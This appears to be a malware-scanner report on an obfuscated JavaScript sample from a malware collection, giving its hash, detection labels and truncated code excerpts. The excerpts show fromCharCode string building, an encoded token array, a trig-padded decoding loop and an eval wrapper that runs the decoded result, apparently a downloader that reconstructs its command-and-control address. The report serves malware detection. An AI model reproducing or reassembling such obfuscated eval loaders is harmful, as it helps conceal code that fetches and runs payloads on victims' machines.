Suspicious ^80% javascript-malware-collection Download

20151217_64e40b134204f34a424c43f43361dd28.js

obfuscated eval, C2 reconstruction

Numeric trig-round obfuscation expressionNumeric sine-square obfuscation expression

SHA-256f9459fd835bccfd939e944a928d21659dfcaec9ff58ff451533a493deda44bc5

Evidence

Builds characters with String.fromCharCode line 2

2:158… 'E','Q','m','F','W','8','/','O','Z','C','q','w','8','1','T','@',String.fromCharCode(10),'V','r','(','9','[','S','C',')','h',':','k',')','U','>',String.fromCharCode(13),'<','7','#','3','b','n','n','f','_','x','F' …

XOR URL reconstruction call line 2

2:1854… 'p','Y','y','v','J','x','Z','8','!','[','<','P','X','5','Z','`',String.fromCharCode(92),'5','T','9','@',']','D','x',']','^','5',':','+','O','-','U','_',')','/','`','#','y','K','%','a','?','Z','o','!',' ','(','b','d','X','P','!','c','s',';','.','d','E …

Calls JavaScript toString conversion method lines 4–7

4:44… mubpcv){fCed=YIgVFckeCPvmGQzIO(QHWikYJcWVW,LROlSkKxmoVgC);EsNPK=fCed.toString(Otmubpcv);return EsNPK;}
5function MqxXqFaYVASlzQy(LoQauwaxcxltXzqqR,xIbHLKGNtaqhuhaOiZVTwVqXEeqNHqxZyH,ZhHDTSJCiBOmWBPHhZEZWdySerEcxGaYYjX){eval(LoQauwaxcxltXzqqR);}
6function YUnOETRYpMFtDXlBdXquCBUzOGWOxfIUDsQQukMoqsrcGdlhfIGKPg(MDlzVbmFkgWCL,hjevfNbcDjdymU){ return fUfVBcr[yPwhRwSs[KqXUN(MDlzVbmFkgWCL[hjevfNbcDjdymU],(23736+988)/883,(315+125)/44)]];}
7function FQCGEDL(wNkWXZXArZmAJXBUtPhuwDjDrOswcwXrpRJG) {return !tkfoRMDBqMq(XHQeMNzTjLylhhh(wNkWXZXArZmAJXBUtPhuwDjDrO …

Dense indexed short-token grid lines 12–13

12:33… xBriqCY,QOeTwnYjnSU) {pvfcAFkcVwtVxY[MvqOGZxBriqCY]=QOeTwnYjnSU;}
13var K = new Array();K[0]=[];K[0][0]='d';K[0][1]='a';K[0][2]='d';K[0][3]='a';K[0][4]='46';K[0][5]='3d';K[0][6]='42';K[0][7]='14';K[0][8]='2p';K[0][9]='14';K[0][10]='25';K[0][11]='14';K[0][12]='16';K[0][13]='47';K[0][14]='3k';K[0][15]='3d';K[0][16]='44';K[0][17]='3g';K[0][18]='3l';K[0][19]='3g';K[0][20]='49';K[0][21]='3 …

Numeric sine-square obfuscation expression lines 19–22

19:25… ],K[3],K[4],K[5]];
20var gShSLbakq=[];
21function lVcqMkdDyZnJJvUAV(kqclG){bgDqSssPTSH= '';vLGELYzQGzB=Math.round((Math.pow(Math.sin(470), 2) + Math.pow(Math.cos(470), 2) - 1));while(true){if (vLGELYzQGzB >= (5359+545)/984){break;}gShSLbakq[vLGELYzQGzB]=Math.round((Math.pow(Math.sin(20), 2) + Math.pow(Math.cos(20), 2) - 1)); while(true) { if(gShSLbakq[vLGELYzQGzB] > kqclG[vLGELYzQGzB].length-(73+154)/227) { break; } if (FQCGEDL(KqXUN(kqclG[vLGELYzQGzB][gShSLbakq[vLGELYzQGzB]],(2042+870)/104,(7720+70)/779))) {bgDqSssPTSH += YUnOETRYpMFtDXlBdXquCBUzOGWOxfIUDsQQukMoqsrcGdlhfIGKPg([kqclG[vLGELYzQGzB][gShSLbakq[vLGELYzQGzB]]], Math.round((Math.pow(Math.sin(264), 2) + Math.pow(Math.cos(264), 2) - 1)));} gShSLbakq[vLGELYzQGzB]++;}vLGELYzQGzB++;} return bgDqSssPTSH}
22var fCqooyIQqLpXLYOFYYvUfDYeOebgNpQaG = 'aEwHVYiSDhJKugEaSJAuhOelwqXwJFLNexrS';var opHAHYvOGLWKeFVyNIpbsZEzkDVkyQFi = 'sdoOJyYVnRObQZsSpqJLsxnKBzBbOSkiQHdf';MqxXqFaYVASlzQy(lVcqMkdDyZnJJvUAV(kqclG),fCqooyIQqLpXLYOFYYvUfDYeOebgNpQaG,opHAHYvOGLWKeFVyNIpbsZEzkDVkyQFi);